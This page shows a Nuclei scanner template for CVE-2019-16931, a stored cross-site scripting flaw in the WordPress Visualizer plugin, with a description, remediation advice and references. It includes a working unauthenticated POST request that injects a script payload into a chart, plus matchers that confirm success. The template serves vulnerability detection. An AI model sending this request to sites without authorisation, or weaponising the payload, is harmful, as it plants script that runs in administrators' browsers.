Skip to content

WordPress Visualizer <3.3.1 - Cross-Site Scripting

ID: CVE-2019-16931

Severity: medium

Author: ritikchaddha

Tags: cve,cve2019,wp-plugin,wordpress,wp,xss,unauth,wpscan,themeisle

WordPress Visualizer plugin before 3.3.1 contains a stored cross-site scripting vulnerability via /wp-json/visualizer/v1/update-chart WP-JSON API endpoint. An unauthenticated attacker can execute arbitrary JavaScript when an admin or other privileged user edits the chart via the admin dashboard.

id: CVE-2019-16931
info:
name: WordPress Visualizer <3.3.1 - Cross-Site Scripting
author: ritikchaddha
severity: medium
description: |
WordPress Visualizer plugin before 3.3.1 contains a stored cross-site scripting vulnerability via /wp-json/visualizer/v1/update-chart WP-JSON API endpoint. An unauthenticated attacker can execute arbitrary JavaScript when an admin or other privileged user edits the chart via the admin dashboard.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
remediation: |
Update to the latest version of WordPress Visualizer plugin (3.3.1) or apply the provided patch to fix the XSS vulnerability.
reference:
- https://wpscan.com/vulnerability/867e000d-d2f5-4d53-89b0-41d7d4163f44
- https://nathandavison.com/blog/wordpress-visualizer-plugin-xss-and-ssrf
- https://wpvulndb.com/vulnerabilities/9893
- https://nvd.nist.gov/vuln/detail/CVE-2019-16931
- https://wordpress.org/plugins/visualizer/#developers
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2019-16931
cwe-id: CWE-79
epss-score: 0.0016
epss-percentile: 0.52613
cpe: cpe:2.3:a:themeisle:visualizer:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 1
vendor: themeisle
product: visualizer
framework: wordpress
tags: cve,cve2019,wp-plugin,wordpress,wp,xss,unauth,wpscan,themeisle
http:
- raw:
- |
POST /wp-json/visualizer/v1/update-chart HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"id": 7, "visualizer-chart-type": "<script>alert(document.domain)</script>"}
matchers-condition: and
matchers:
- type: word
part: body
words:
- '{"success":"Chart updated"}'
- type: word
part: header
words:
- 'application/json'
- type: status
status:
- 200
# digest: 490a0046304402200cad49d5a6801854f519705910fce82b50065bd94d3396906d7f238b3eff8b2002202ae68beffa6caa6e92f83841e2ef7edb8f3169cb766020c6a537c9dcd10c24af:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2019/CVE-2019-16931.yaml"

View on Github